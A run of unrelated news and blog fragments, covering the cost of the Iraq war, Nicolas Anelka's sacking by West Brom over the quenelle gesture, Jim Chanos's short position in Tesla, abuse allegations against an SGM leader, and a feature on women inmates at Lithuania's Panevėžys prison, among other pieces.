China? How did that happen? It looks like another disaster for the Americans. Ten years on, we know the reasons for the Iraq war were far more incoherent than the original conspiracy theory had suggested. The March 20, 2003 invasion turns out to have been born out of a mix of political opportunism, willing credulity among the Bush administration at what it was being fed by Iraqi exiles, neo-liberal delusions of imperial grandeur, an irrational obsession with Saddam Hussein, psychological issues between Bush pere and Bush fils – and somewhere in there, Dick Cheney’s abiding interest in oil.
Subsequently, the invasion has killed and maimed hundreds of thousands of Iraqis, sent millions sent into exile, taking with them the skills and education that will take generations to replace. Women in particular have lost social and educational opportunities amid the rise of religious fundamentalismn abd –reportedly – thousands of widows have been rendered vulnerable to sexual exploitation and prostitution.
To the Americans, the likely financial cost has been estimated in the region of $2 trillion, vastly in excess of the fifty or sixty billion that was confidently projected on the eve of the invasion. And, it seems, China is now positioned to be the main foreign beneficiary of Iraq’s oil bonanza. What Dick Cheney and George Bush have wrought at the cost of vast amounts of American and Iraqi blood and wealth is the provision of energy security for its only rival as a 21st century superpower.
Anelka wrote on social media he was leaving with "immediate effect" after failing to reconcile differences with Albion over his 'quenelle' gesture.
The Frenchman, 35, was banned for five games and fined £80,000 by the Football Association for making the sign after scoring against West Ham in December.
The club is sacking him for his conduct that day and his social media outburst.
They have given him 14 days' notice of the termination of his contract.
He had been suspended by Albion while the club carried out its own internal investigation.
What is a quenelle gesture? Dieudonne M'bala M'bala and Nicolas Anelka perform a "quenelle" gesture It is a hand gesture devised by French comedian Dieudonne M'bala M'bala (above left with Anelka), who says it is an anti-establishment symbol
However, many view it as an anti-Semitic gesture, reminiscent of the Nazi salute
People have been photographed making the sign at synagogues and Holocaust sites Read the full details on BBC Magazine Monitor
Earlier on Friday, Anelka used social media to announce he was leaving the club immediately.
He wrote: "Following discussions between the club and myself, certain conditions have been set for me to rejoin the group, which I can't accept.
"In order to preserve my integrity, I've terminated my contract with West Brom with immediate effect."
However, West Brom responded by releasing a statement saying "the termination was invalid as it was not conducted under the correct legal process".
The statement also detailed the conditions Anelka needed to meet to enable his club suspension to be lifted.
It read: "The club required Nicolas Anelka to apologise to it, its supporters, sponsors and the wider community for the impact and consequences of his gesture made on December 28 and secondly, that he accept a substantial fine.
"The club considers the conduct of Nicolas Anelka on December 28, coupled with his purported termination on social media, to be gross misconduct."
The striker, who joined Albion in the summer on a 12-month deal, would only have been eligible to play in Albion's final five Premier League games due to his ban.
But with his West Brom career now over, he made 12 appearances, scoring two goals - both in the game against West Ham.
He was given the punishment by the Football Association's independent regulatory commission for making the controversial gesture, described as an "inverted Nazi salute".
He denied his use of the sign was intended to be anti-Semitic, and the commission reported it did not find he was "an anti-Semite".
However, Anelka claims he made the gesture in support of his friend Dieudonne M'bala M'bala, a French comedian who has been convicted seven times of anti-Semitic crimes.
The FA had initially wanted a tougher punishment for the player but opted not to appeal against the decision.
James Chanos, Founder and President of Kynikos Associates LP, speaks during the Reuters Global Investment Outlook Summit in New York, U.S., November 14, 2017. REUTERS/Mike Segar
Chanos, who first disclosed his short position in Tesla in May last year, said he expected company co-founder and Chief Executive Officer Elon Musk to step down as CEO by 2020 to focus on his private rocketship company SpaceX as competitors such as BMW (BMWG.DE) and Porsche PSCH_P.DE expand their lines of luxury electric vehicles.
“Obviously this is not being valued as a car company, it’s being valued on Musk ... he’s the reason people own the stock,” Chanos said.
Shares of Tesla are up 44 percent for the year to date, at one point pushing the company’s market value higher than competitor General Motors (GM.N) despite Tesla’s not turning a profit.
On Nov. 1, Tesla reported its largest-ever quarterly loss and pushed back its target for volume production of its new Model 3 sedan by three months. The company said it now expects to build 5,000 Model 3s per week by late in the first quarter of 2018 from its original target date of December.
Despite the production delays, Tesla has been among the most painful for short-sellers this year, with losses among funds that bet on its decline totaling more than $4 billion this year, according to S3 Partners, a financial analytics firm.
“Put it this way,” Chanos said. “If you wouldn’t be short a multi-billion-dollar loss-making enterprise in a cyclical business, with a leveraged balance sheet, questionable accounting, every executive leaving, run by a CEO with a questionable relationship with the truth, what would you be short? It sort of ticks all the boxes.”
He said the company is burning more than $1 billion in cash each quarter and will have a harder time tapping capital markets if and when Musk leaves.
Tesla did not respond to a request for comment.
Follow Reuters Summits on Twitter @Reuters_Summits
Carla Coe was repeatedly assaulted by Defendant Tomczak and his co-conspirators during a 25-year period spanning her childhood and young adulthood. Defendant Tomczak assaulted Carla Coe with his hands, as well as with various instruments, including but not limited to, plastic and wooden sticks. On multiple occasions, including occasions after Carla Coe reached the age of majority, Defendant Tomczak forced Karla Coe to strip out of her clothing against her will, and be beaten on her bare buttocks. Defendant Tomczak continued to engage in this forced undressing and beating of Carla Coe until she fled and escaped from the abuse. On several occasions, Defendant Tomczak imprisoned Carla Coe and denied her food for extended periods of time. Defendant Tomczak verbally admitted on one or more occasions to the individual Defendants and to the Church that he abused Carla Coe. No one reported the beatings to the secular authority. The assaults by Defendant Tomczak and his co-conspirators’ assaults primarily occurred in Maryland and Virgina.
You can find more of the amended lawsuit here (thanks yo Kris & Guy at SGM Survivors).
Such a short few sentences packed with a lifetime of excruciating pain. I guess Larry Tomczak wasn’t kidding around when he penned his book God, The Rod, and Your Child’s Bod.
A book in which he talks about spanking children when they are teething (in other words, less than 1 years old).
Some folks have reacted with disbelief that a young woman in her twenties would submit to this type of treatment. I can tell you from my own experience in SGM, that many a leader in the movement spoke about spanking children that were of age. I remember one conversation with Mark Prater, then a care group leader at Covenant Fellowship Church, in which he praised a teaching tape that spoke about a Father spanking his son who was in his late teens. This idea that children could be spanked at just about any age, was certainly discussed by different leaders in SGM at the time that many of the alleged abuses occurred.
The other thing to understand, is that SGM preached that to obey God, one had to unquestioningly follow those put in authority above you. For church members, it meant obeying your pastors, even when they were wrong (no kidding-I was told this by a pastor at Covenant Fellowship in my exit interview), for wives it meant their husbands, and for children it meant their parents. Simply questioning or disagreeing with any of these “God-given” authorities was tantamount to being in full-blown rebellion to God. This atmosphere of unquestioning obedience is a perfect breeding ground for abuse.
Another wicked aspect in SGM’s teachings was the idea that you as an individual could not trust your own feelings. Only if a pastor or parent confirmed them were you to trust yourself. Again, saying that you felt wronged or abused meant nothing, since your own judgement could always be called into question as flawed and horribly sinful. Multiply this times 100 for a child who is trying to grow up in this environment and you can begin to scratch the surface of why some would allow themselves to be abused for so long.
Lastly, I just want to highlight the extreme bravery it took for these victims to come forward and tell the truth. I’m sure for some, it will cost them many relationships. My thoughts go out to them on this night…I hope they find the justice, peace, and refuge that should have been theirs growing up.
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Championship Games
1988 NFC – San Francisco 49ers 28, Chicago Bears 3
Haley started at left outside linebacker. He had five tackles and one fumble recovery.
1989 NFC – San Francisco 49ers 30, Los Angeles Rams 3
Haley started at left outside linebacker.
1990 NFC – New York Giants 15, San Francisco 49ers 13
Haley started at left outside linebacker. He had three tackles and one sack.
1992 NFC – Dallas Cowboys 30, San Francisco 49ers 20
Haley started at right defensive end. He had one tackle and one pass defensed.
1993 NFC – Dallas Cowboys 38, San Francisco 49ers 21
Haley started at right defensive end. He had two tackles and one assist, one sack, one pass defensed and one forced fumble.
1994 NFC – San Francisco 49ers 38, Dallas Cowboys 28
Haley started at right defensive end. He had two tackles.
1995 NFC – Dallas Cowboys 38, Green Bay Packers 27
Haley was not active for this game.
Super Bowls
Super Bowl XXIII – San Francisco 49ers 20, Cincinnati Bengals 16
Haley started at left outside linebacker. He had six tackles, two sacks and one tackle on special teams.
Super Bowl XXIV – San Francisco 49ers 55, Denver Broncos 10
Haley started at left outside linebacker. He had one tackle and two passes defensed in the game.
Super Bowl XXVII – Dallas Cowboys 52, Buffalo Bills 17
Haley started at right defensive end. He had five tackles, one sack and one forced fumble.
Super Bowl XXVIII – Dallas Cowboys 30, Buffalo Bills 13
Haley started at right defensive end. He had two tackles, two assists and registered half a sack.
Super Bowl XXX – Dallas Cowboys 27, Pittsburgh Steelers 17
“There is no one single cloud. Our clients have clouds. We have a cloud. Clients want to connect with other clouds,” said Angel Diaz, IBM vice president of cloud performance. “If clients want to get the most from the cloud, they have to link to their existing investments.”
The new services and software that IBM unveiled at the Interconnect conference, being held this week in Las Vegas, are designed to ease the work involved with linking the public cloud to internal operations.
The company will release software to run IBM’s BlueMix platform services from within an organization’s own data centers. IBM has provided a managed service for drawing data from external APIs (application programming interfaces). It has also set up a new system that will allow organizations to package their workloads in containers so they can be easily moved into the cloud.
IBM is making the hybrid approach a key element to its cloud computing strategy. Organizations worldwide will spend about $80 billion a year to build and operate hybrid systems, according to IT research firm MarketsandMarkets. About 72 percent of organizations are already pursing hybrid cloud strategies, according to Gartner.
The BlueMix Local software package will offer a subset of developer services found in IBM’s BlueMix cloud platform, which provides basic software functionalities and management tools for developers building cloud applications. Organizations can build a set of services in-house with BlueMix Local, and then move them to the IBM BlueMix hosted service to run in production.
The new API service, called API Harmony, aggregates a wide range of public APIs that developers can incorporate into their own applications. It eliminates much of the drudgery of making low-level connections and handling authentication credentials, Diaz said.
The company’s new Enterprise Containers service offers a full system for spinning up and managing virtual containers. Like similar services offered by Google, Microsoft and Amazon, IBM’s service is based on the popular Docker open source container. IBM has provided additional security and management tools. Users can move their container based workloads between the IBM cloud and their own internal systems.
IBM’s efforts in the cloud market continue to gain momentum.
One new customer of the IBM Cloud is Turner Broadcasting Systems. The Latin American division of the global cable company is using the IBM cloud to stream content, such as the Academy Awards, to its customer base of 50 million users.
The company has signed a partnership with Tech Mahindra, a large integration firm based in India, to build a BlueMix-based platform that Tech Mahindra’s enterprise customers can use to run their applications.
There are currently about 8,000 to 9,000 inmates in Lithuania's prisons. Only 300 of them are women. The female convict is, therefore, a bit of an unknown quantity in Lithuanian society.
That is one of the reasons why it is harder for women to be rehabilitated back into society and why employment is thin on the ground for female ex-convicts.
There is greater cultural acceptance of delinquency in men and while rehabilitation may not be easy for them, it is possible. There are jobs available. Society is more inclined to forgive them. But for women, all doors are closed. There is a prescribed model they are expected to follow: the responsible mother, the infallible wife, the obedient daughter, the dutiful worker or the content housewife. The convicted female, falling very wide of these expectations, can find herself ostracised at every turn. Her future is likely to be bleak.
The road to the penitentiary
"When I found out that my sentence was going to be two years, I couldn't believe what was written on that white sheet of paper. Everything on the page seemed to merge into one. I had a brilliant life; my parents took very good care of me. I had everything. If someone had told me that someday I would end up in prison, I would have spat in their face. Prisons and convicts were pretty alien to me," says Kristina (her name has been changed upon her request), recalling the beginning of her journey to Panevėžys Correctional Facility.
It was a split second that changed her life. She severely injured someone. The hardest thing she has ever had to do, she says, was admit this to her family. "Everyone had huge hopes, huge desires and wanted the best for me. I could not look my mother in the eye. How do you break that news to someone who has given you everything? I really disappointed her, though I was never a bad kid."
Kristina, who has dreamed of being an actress since childhood, recounts her story as if it were a movie - she speaks expressively, never hiding her emotions, embellishing her memories with laughter and tears.
Justina's story couldn't be more different. As a child she witnessed much violence. When she was four, her grandfather died. Soon after, her mother and grandmother took to drink. By the time she was eight, her alcoholic father was behind bars.
"Because of this my mother started to drink more, and constantly shout at and beat me and my younger sister. She beat me so much that afterwards I could not sit down. As a result she lost her maternity rights, and when I was ten, my sister and I were sent to the orphanage for the first time. We were bullied there so I started running away," Justina recalls.
But her troubles truly began when, at the age of 13, she met a gang who were friends of her father's. She ran away with them.
That was when she tried drugs for the first time. At first weed, then amphetamines ... "And I liked it," she recalls.
A year later, she was enrolled in a special school: a measure intended to put her on the straight and narrow. But, by then, she had already become accustomed to a far more exciting lifestyle and struggled to sit calmly and do as she was told. "I was locked in there. If you behaved well, they let you out, but only for four hours. How can you deal with that? I wanted freedom. I saw myself as a free bird that could fly wherever it wanted. I wanted to do what I wanted!" She recounts how, during one eventful New Year's Eve, she and her friends tied up their supervisors and escaped through a window. Such misadventures often landed her in trouble with the police.In a strong voice, she shares the details of her troubled life, sometimes seeming to surprise herself with the turns taken by her stories.
Kristina and Justina have become friends on the inside, although they both admit with a smile that the girl with the privileged upbringing and the one with the troubled childhood would probably have never encountered each other had it not been for the shared walls of the correctional facility.
"When I realised that I was going to Panevėžys, I calmed myself and began to prepare simple things: I went to the store with my mother, packed a suitcase. I didn't know if I would be able to get shampoo here or other things," says Kristina, sitting in the prison library, where there are a few computers, without an internet connection, and piles of magazines stacked on the tables.
Kristina's life took a sharp turn for the worse. "You could say I found myself on the threshold of the abyss," she says.
"I was alone and no one could help me. It was in this state that I first entered here. Those metal beds ... everything looked so bad. But I drove away those terrible thoughts and then ... just sat down and started to read a book. The first morning I woke up I was in shock. I hoped that I would wake up from this terrible dream and opening my eyes, find myself home. But when I opened my eyes I was still here – it was the dripping tap and the very unpleasant smell that I remember most."
The crime doesn't choose the woman
At 15, Justina began selling drugs. The money she received allowed her to live in luxury: she was able to rent an apartment and take care of her younger sister. "The only important thing for me was to help my little sister," she says.
She was 16 when she first found herself in Lukiškės prison – after getting drunk and stealing a car with a friend. "I spent a month there. And when I was released I was still on probation, but I went back to the same drug gang. Then I started to use drugs again - a lot of amphetamines."
Since then Justina has been incarcerated with increasing frequency, the seriousness of her crimes worsening each time. On the outside, she found a boyfriend. He had just got out of Alytus prison and was working as a taxi driver.
"I never thought that he would use heroin," she says.
Justina continued to sell and use drugs. Concealing this from her relatives was easy as she was rarely in contact with them. "I only phoned them to ask if my little sister was fine. I didn't want to see my parents. Of course, I missed love and warmth. When I broke up with my boyfriend, I fell back in with the same group of drug addicts. It seemed that they loved and understood me. Back then it didn't occur to me that as soon as I ended up back in the penitentiary house, everyone would quickly forget me."
She soon found herself in Lukiškės prison again. "I was behaving very badly. I was stealing from homes: some people showed me houses that were easy to break into and rob. My relationship with my parents completely broke down at that point - they disowned me. I wrote letters and asked my mother not to judge me, to believe that I could change," she recounts.
According to psychologist Andra Kiškytė, crime does not distinguish between social classes. "Here you can find women from all backgrounds: from drug addicts living on the street to women with college or university degrees who once had prestigious jobs, even CEO's."
It is the latter that struggles most. "Once incarcerated, it is the higher status group of women that lose their self-esteem and confidence. Most of them never thought of being imprisoned, of being amongst different, more aggressive, less well educated people. Once released we often find that these women have become more tolerant, more accepting of difference and class. Women in prison share quite a small space, so they have to learn to live together and co-operate whether they like it or not."
According to 2015 records, 3% of convicted women have a higher education degree, 4% have pre-higher education, 39% finished high school, 29% completed secondary education, 16% have primary education, and 9% have no formal education.
Education level among convicted women
The correctional facility is divided into four sectors: light, standard, enhanced security and one for women with young children. The set-up is similar to that of a dormitory with a number of communal spaces: shared bedrooms, recreation rooms, kitchens (which are located on every floor - allowing the female inmates to prepare their own food).
On arrival, all female inmates are housed in the standard section. It is only if an inmate becomes unruly or breaks rules that she is sent to enhanced security.
The accommodation is divided into sections. Kristina currently shares her space with nineteen other women.
The huge open spaces of these sections are divided into "micro-homes", with each woman personalising her own by, for example, covering her bunk bed with colourful blankets and soft toys. The most important part of this micro world is the custom made altars the inmates create in their cupboards. These tiny environments of escape and contemplation are festooned with family photographs, love letters and children's drawings.
When an inmate first arrives at the correctional facility, she is held in the quarantine zone. This stage is one of the most important for the psychologists working here.
"When they arrive, I meet with the convicts right away. At the interview, we try to determine if they are a danger to themselves in any way. We find out if they have any health related issues, and decide on which section is best suited for the individual. Besides this, we also take note of any requests they make,” explains Andra Kiškytė.
Adapting to a profound loss of personal freedom is always difficult, especially at the beginning. It is in this stage that the individual first loses their status and is forced to adjust to a new, more restricted rhythm of living. It's hard to accept their punishment, their surroundings, to look in the mirror and acknowledge that this is not simply some figment of a terrible dream.
"Women find it most difficult to pull away from their families, their children, husband, parents. The biggest pain comes not from the loss of physical freedom but from being separated from their families," says the psychologist. "Support from family and children plays a really important role in a prisoner's rehabilitation, especially if she is looking to get her life back on track. It's much easier to deal with prison life when you have letters from loved ones to look forward to."
According to Andra Kiškytė there are many reasons why people commit crimes, but they are rarely premeditated and usually occur in the heat of the moment. For women, this most often manifests itself in the form of violence against spouses, particularly when they feel physically threatened. Of course, the addition of alcohol to the mix does little to de-escalate such situations. "Usually it's self-defence, or as a result of verbal abuse," the psychologist says.
If you want to trace the roots of these crimes, she explains, you need to look back into the inmate's personal history: their childhood, their relationships with their parents - the time when their worldview was first formed.
The crimes committed by convicted women
The hope is that the correctional facility will provide the inmate with complete social and psychological rehabilitation. With this in mind, formal and informal education is provided to the inmates. There are also various social activities on offer, which have been designed to prepare the inmates for a successful life on the outside.
Convicts are split into two groups: those who are first time offenders and those who are repeat offenders (40% of convicted women go on to re-offend).
Married to a stranger
During her case, Justina was regularly bussed by armoured van to Vilnius to attend hearings. On one occasion while at Lukiškės prison, one of the convicts attempted to start a conversation with her through a cell window. At first she ignored him. But they soon began to send each other letters.
On February 20, 2014, they married. At the wedding, she saw her husband-to-be, a convicted murderer, for the first time.
There is no photo of him on the shelf beside her bed now.
"I thought that this man would really love me, share everything with me. I guess this was a test. I learned from it. I am young, so curiousness pushed me to marry him," she says.
Justina remembers their first conjugal visit. "There was a bed and a table in a small room. At first it was scary, because this man was a murderer. He was convicted for 18 years. Yes, it was really scary, but later I thought to myself: what happens, happens."
Each conjugal visit lasts four hours.
She recalls how her husband told her: “If you are happy, I will make you cry." This stayed in her head, and convinced her finally that divorce was the only option.
"I was very disappointed," she says and sighs. “He thinks that I will go back to Lukiškės. That is not going to happen - I have already filed an application for divorce, and I'm waiting for a year to pass for it to be official. There is no common property, no kids, so it should be quick."
Kristina has also married while inside.
"We wanted to have the right to conjugal visits, marriage was just a formality - we just signed the papers. The most important thing for us after signing the documents was that we now had the opportunity to have conjugal visits, to share pillows like we used to, to turn on the TV and sit together, share food, memories, laugh while watching a movie," she says.
Of course, this was not how she expected her marriage to be. Like most girls she dreamed of a white dress, and a wedding by the sea. "We joke that our marriage was kind of exotic: we got married in prison, ours isn't just a usual boring traditional marriage," Kristina laughs.
In 2014, 23 convicted women got married. Three of these married men from the outside, the others married inmates.
In 2015, 10 convicted women married – nine of them to other inmates.
Marriage rates among inmates
Children – innocent but behind bars
A woman is working in a small garden. Nearby, her two children sit on a red swing. She is berating them as a prison officer looks on, disinterested. There are toys scattered on the lawn. Close to this group hangs some laundry - drying in front of a razor wire fence. And emblazoned on that fence, a sign: "Prohibited Area".
This part of the prison is different from the others: only around 10 women are currently serving their sentences here. What makes this group unique is that they are here with their young children. To all intents and purposes, we could call this the family section. Pregnant women or women with children up to three years of age are housed here. They are given shared private rooms: two families to each room. There is a communal kitchen, two playrooms and a backyard with a small playground.
But what does it mean to live with your child in such circumstances for the first three years of their live, and what does it feel like when they are then taken from you and placed into care?
The prison psychiatrist empathises that such "family incarceration" does have its advantages: it is, as she points out, essential that a strong maternal bond is created in the first three years of a child's life. However, there is always the real and devastating threat of separation on the horizon.
"I think that the time spent with her child does have a positive impact on the mother. The child is the most important thing in the mother's life. However, when the child turns three and is separated from the mother, this experience is traumatic. A three-year-old is intelligent enough to understand that they are being taken away and will not come back. This process is easier if another family member becomes the carer, for example, a father or a grandmother. But if there is no-one, then that child is sent to an orphanage. It is extremely hard for both the mother and child," Andra Kiškytė explains.
The children spend most of their days in the playrooms. From this arises a rather novel situation - the subject of a running joke among the mothers - where the children start to mix up who their real mother actually is.
Irina explains how her daughter, Deimante, would sometimes call the other women “mum”.
"I was attending manicure classes, and when I was away Deimante would call these other two women "mum". At first I was quite jealous, and I would say, ‘Deimante, I'm your mum.’ But I soon realised that that happens often here. Everyone takes care of everyone,” she says.
These days Irina gives all her love to Deimante and tries not dwell on the fact that she is unable to see her two other daughters. "I tell myself that there is no need to cry or fret, because I have these amazing daughters. It is worth living and trying even harder just because of them."
When asked if it's easier to serve her sentence with her child with her, Irina admits that she sometimes feels guilty. "What kind of mother am I that my child needs to spend her life in here with me?" she asks.
It’s a sentiment shared by the majority of the women who have children with them: an acknowledgement that the monotony of prison life is easier to bear, but a sense of shame that this is where their children are spending their first years.
Audronė also lives in the family section. She speaks English, Polish, Russian, Spanish, and also remembers Latin from her university days. Despite her education, it is her fourth time in the Panevėžys Correctional Facility. She blames herself, her character and her addictions.
"It is extremely hard. I am alone, my parents passed away a long time ago. Sisters … we are no longer in contact. I have no-one. When I got here for the first time, the whole family disowned me. I am, how to put it … like a black spot. And I am completely alone," she says, as her son Dovydas fidgets on her lap.
Audronė’s mother died when she was seven. She lost her father at the age of 13. After spending some time in an orphanage, she was adopted and began school. Audronė thrived there. Then she was accepted to study medicine at university.
"Everything was going really well. I just had a fear of dead bodies and during the second year at the university we needed to do an internship in a mortuary. I was so afraid that I took a year off. And I never went back," she recalls. Audronė often wonders what her life would have been like had she continued her studies.
Looking down at her son as he entertains himself, oblivious to the difficult adult world around him, Audronė imagines freedom and mourns the years she has wasted in institutions.
"Once I came here in summer, and was released two years later again in summer. Walking around the streets of Kaunas, it felt I had only been gone for two weeks. Where had the time gone? Those two years that I would never get back. Erased. All the days are monotone here."
Even though she is still officially married, Audronė is not planning to get back together with her husband.
"Everything was fine until he started doing crazy things. Of course, I was stupid myself. I am not blaming him. I could have gone somewhere, I could have tried to find some help, but I was always trying to do everything on my own. And I failed. I was keeping everything to myself and it's hard to do it all alone,” she says.
After her time in the correctional facility, Audronė wants to move abroad, find a job and cut all connections to her past.
She admits that it was easier to serve time when it was only her. Now it is different. "It's because of Dovydas. I want to change my life; I don't want to continue coming back here, because later on it will only be harder for both me and him."
For Vilma and her son Arijus, this section is also "home".
"Hyperactive, naughty and very attached to me," is how Vilma describes her son. She thinks that a child is the best thing that can happen to a woman, even in a place like this.
Vilma also has two daughters, who now live with their grandmother. She misses them. "I don't have anyone else. Only them. You only realise what you have lost after you get here."
Prison visits offer the inmates an essential lifeline to their families and the world outside. All of the inmates have the right to see their families and friends for either a short (up to four hours) or a long (up to two days) meeting.
Short meetings are held under the supervision of a prison representative. Long meetings are permitted only with a spouse or a close relative and take place in private.
"Each and every meeting is very precious but those two days pass very quickly,” says Vilma. Hugs and long conversations are the main ingredients of those visits, she explains.
She has not discussed living in the prison with her son yet, but she is sure that in the future he will have abiding memories of his first three years here in Panevėžys.
Vilma feels that distance and the walls of the institution have come between her and her daughters, and their relationship is not what it was. "My oldest daughter is a teenager now and she blames everyone and everything that crosses her path. We are not as close and, of course, it breaks my heart. That is why, as soon as I get out, I will try to win back her love and trust."
"My middle daughter is very sensitive. She is waiting for me to get back. It is very hard for her but there is nothing I can do now. The hardest part is not being able to help your own daughters when they have problems," she adds.
Freedom: the greatest fear
The first prison in Panevėžys was established in 1566, and for most of its life it lay empty. The present building, built to house 400 prisoners, was consecrated and opened in 1893.
It was in 1960 that the institution was repurposed to house female inmates. Today, 133 officers and state employees work there. Edvardas Norvaišas is the head of the institution.
He cuts an interesting figure in the relatively staid atmosphere of the prison service. In the past he participated in a television dance project, and there is a python warming itself in the sun in his office.
"I once wanted to become a doctor. I wanted to become someone who treats people," the director says with a smile, adding that his dream partly came true - he helps the women prisoners here.
"If you want you can find an explanation for everything. The women who spend their days here committed their crimes for different reasons.” In his opinion, Lithuanian society is very intolerant and this makes life doubly difficult for people who have made mistakes in their lives. "We need to be more tolerant and respectful, and grumble less," he remarks.
When asked if "correctional home" - the direct translation from Lithuanian - is the correct term to use, he says he prefers just 'home'. "A home that you shouldn't need to return to. But if a person finds themselves here we should try to keep this place free of pain and retribution. We simply need to give the person some time to think and then return to normal life," he explains.
In the director's opinion removing a person's freedom is not the best or only way to punish them. On visits to similar institutions in foreign countries he learned that there are a number of ways to help people assess what they have done wrong.
"People used birches, torture and other cruel methods in the old days as retribution or revenge for what the criminal had done wrong. Today we use custodial punishment. We should view punishment as a consequence of bad behaviour. We shouldn't necessarily always just put a person behind bars, removing them from their life while at the same placing the financial burden for their imprisonment on the state. Let them live and work, maybe for a smaller salary, but there should be a positive alternative. Now it is not only the guilty person, but also the state that suffers."
The attorney and criminologist Dr. Gintautas SakalauskasStraipsnis "Įkalinimas Lietuvoje: praktika ir prasmė", Sociologija. Mintis ir veiksmas 2007/2 (20), ISSN 1392-3358 has questioned why those who experienced repression in the Soviet Union still advocate it. The frequency of custodial punishment under the Soviet system meant a large part of society experienced incarceration. "The image of custodial punishment (the longer the better), as the only one 'true' form of punishment is still alive in former Soviet countries, all of this despite the fact that the historical experience arising from its practice is extremely painful and raw. If we are to believe that a person is a priori bad, and that they need to be punished, condemned and after that rehabilitated, then there is an obvious pedagogic and psychological deadlock."
For Edvardas Norvaišas, education and upbringing are key to the creation of a good and just society. "If we lay good foundations in the family, kindergarten, and school, it will be easier for a person who has made a mistake to change and return to those foundations. The policy now in the correction house is just to try to correct the mistakes that were made during the individual's development - poor parenting, unhealthy or criminal lifestyle, or a badly formed character. Here we just try to teach the inmates how to suppress their aggression and addictions," he explains.
A 2009 study conducted in the US and Italy discovered that there was compelling evidence of abnormal neuron behaviour in the brains of convicted criminals.
The GEO author Christian Schwägerl has been researching this subject for more than 10 years. His scientific article "Bad Brain"Christian Schwägerl, "Blogos smegenys", GEO Lietuva, 2014 03 03examines in detail how science has come to challenge received ideas about justness and punishment. He analyses various examples of how brain anomalies might influence an individual's actions.
"A few years ago the brain was considered one of the most unstudied organs. But now it is being studied to help answer such important questions as: what kinds of processes influence our psyche and determine behaviour? There is no doubt that this is very important for medicine. But what about justice?" the author asks.
In his opinion, it's possible that in the future an examination of a person's brain will be used to determine how society judges different offences - a shop robbery or a murder. A brain that weighs 1.4kg and has more than 100 billion nerve system cells could be used as the basis of argumentation in court.
"We can control ourselves far less than we think," explains David Eagleman, the head of the Neurology and Law project in Houston in the US. "Until now, justice has been based on the illusion that everybody is equal under the eyes of the law. But the brain, as well as the way it acts, is a very individual thing. It's like a fingerprint that has been formed by genes and environment. Judges have to take this into consideration."
In the words of Joshua Greene, from Princeton University in the US: "Punishment should be made less severe because behaviour is the result of a power that is not necessarily connected to one's responsibility for one's actions." In the opinion of Christian Schwägerl, the concept of guilt would suddenly disappear if we were to dive into the river of never ending impulses.
"I am very afraid of getting out," says Justina, who is nervously awaiting the day when the grey door of the Panevėžys correctional facility will swing open for her, and she'll be faced with the stark reality of the outside world.
After long years of imprisonment, released women often find themselves completely lost - how will they survive, how are they going to make a living, will society and their families accept them?
Andra Kiškyte says this is the basis of the female convict's greatest fear. "Convicted women are stigmatised. When they are released, they feel enormous pressure from society to act as perfect citizens and because of this pressure they are more vulnerable. Convicted women find it much harder to gain acceptance from society than men, and this is without taking into consideration the severity or mitigating circumstances of their crime," the psychiatrist explains. "People expect more from a woman: she has to be a good mother, a good wife and daughter. And if she is not, it's not acceptable."
Juppe asked what would happen after the Palestinians go to to the Security Council. "If there is an American veto, nothing will happen on the ground except maybe the resumption of violence," he said. He mentioned the Quartet's frantic efforts to find a way out of the deadlock, saying that there are still "three, four days to negotiate in the Quartet and to find a solution, a balanced solution, acceptable both by Palestinians and Israelis, to resume negotiation."
France's Foreign Minister Alain Juppe in Washington, June 6, 2011. Reuters
Juppe added that "things are changing all around Israel. Egypt has changed. Syria is in the situation we said before. Turkey has not in very good relations with Israel today. There are tensions when everything is changing around you, you can stay rigid and say wait and see. I think it's better to take in account the change and to try to move".
Abbas said Monday that he expects a "very difficult" situation after the Palestinians submit their request for full membership at the United Nations General Assembly, the French news agency AFP reported.
Speaking upon his arrival in New York ahead of the opening of the General Assembly on Wednesday, Abbas called on Israeli citizens to recognize Palestinian statehood to prove that a two-state solution can be reached.
Earlier this month, French foreign ministry special envoy to the Middle East Valerie Hoffenberg was summarily sacked - because, she claims, of her opposition to the expected Palestinian unilateral declaration of statehood later this month.
"I don't think this is a coincidence," the envoy told Haaretz when asked about the timing of her sacking, which she was shocked to learn about from a Foreign Ministry announcement on Friday. A day earlier, during a visit to Israel, at a meeting with Regional Development Minister Silvan Shalom, Hoffenberg said that while she did not know the official French position, she herself was "completely opposed to the unilateral declaration."
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Juppe also said Syria's leaders must answer for crimes against humanity that are being committed in their crackdown on anti-government protests.
Yes, it truly felt like famiglia.
Anyway, with the Dark Matter done (for the foreseeable future), I thought it might be nice to look back at the people behind the scenes, and in front of the cameras, who made it happen.
Today, I bring you The Dark Matter Season 3 Awards – Part 1, chosen by yours truly!
BEST COSTUMES
The wardrobe department, lead by Costume Designer Noreen Landry and Asst. Costume Designer Anna Dal Farra, did great work throughout the show’s run. From miners to G.A. troops to our colorful crew, they’ve delivered a wide and wild array. And Dark Matter‘s third season continued that trend. Standout episodes for me included Episodes 303 (“Welcome To The Revolution”) and Episode 312 (“My Final Gift To You”), but my pick for best costumes was…
WINNER: Episode 309, “Isn’t That A Paradox?”. This atypical episode gave us so many memorable looks: TWO’s soccer mom disguise, the Android’s burgundy coat, and, of course, FIVE’s goth chick chic.
BEST HAIR/MAKEUP
Lynda McCormack (Key Makeup) and Renée Chan (Key Hair) were a fantastic one-two punch. There was the contemporary charm of Episode 309 (“Isn’t That A Paradox?”) and resplendence of the royal court in Episode 312 (“My Final Gift To You”), but in Dark Matter‘s final season, I thought their best work was showcased in…
WINNER: Episode 301, “Being Better Is So Much Harder”, where our crew was bruised, battered, but still looked great.
BEST PROPS
Property Master Victoria Klein worked her magic, sourcing everything from guns to gadgets, then altering or completely transforming them with the help of On-Set Key Props Lisa Amaral-Wright. There was all that weaponry in Episode 303 (“Welcome To The Revolution”) and the various tech and trinkets of Episode 305 (“Give It Up, Princess”), but my favorite was…
WINNER: Episode 304, “All The Time In The World”. That time clock was one of my favorite props of the show’s three year run.
BEST STUNTS/STUNT CHOREOGRAPHY
Stunt Coordinator John Stead is the very best at what he does and I trusted him so thoroughly that, as the series progressed, my scripted action descriptions would grow less and less detailed. In the end, I would just tell John where I wanted the characters to end up, then stood back and let him do his thing. Lots of great shoot-outs, sword work, falls and so much more in Dark Matter‘s third season. There was the Ash vs. Solara Shockley throwdown in Episode 304 (“All The Time In The World”), Ryo’s duels with TWO and, later, Misaki in Episode 312 (“My Final Gift To You”), but edging out these two was my favorite…
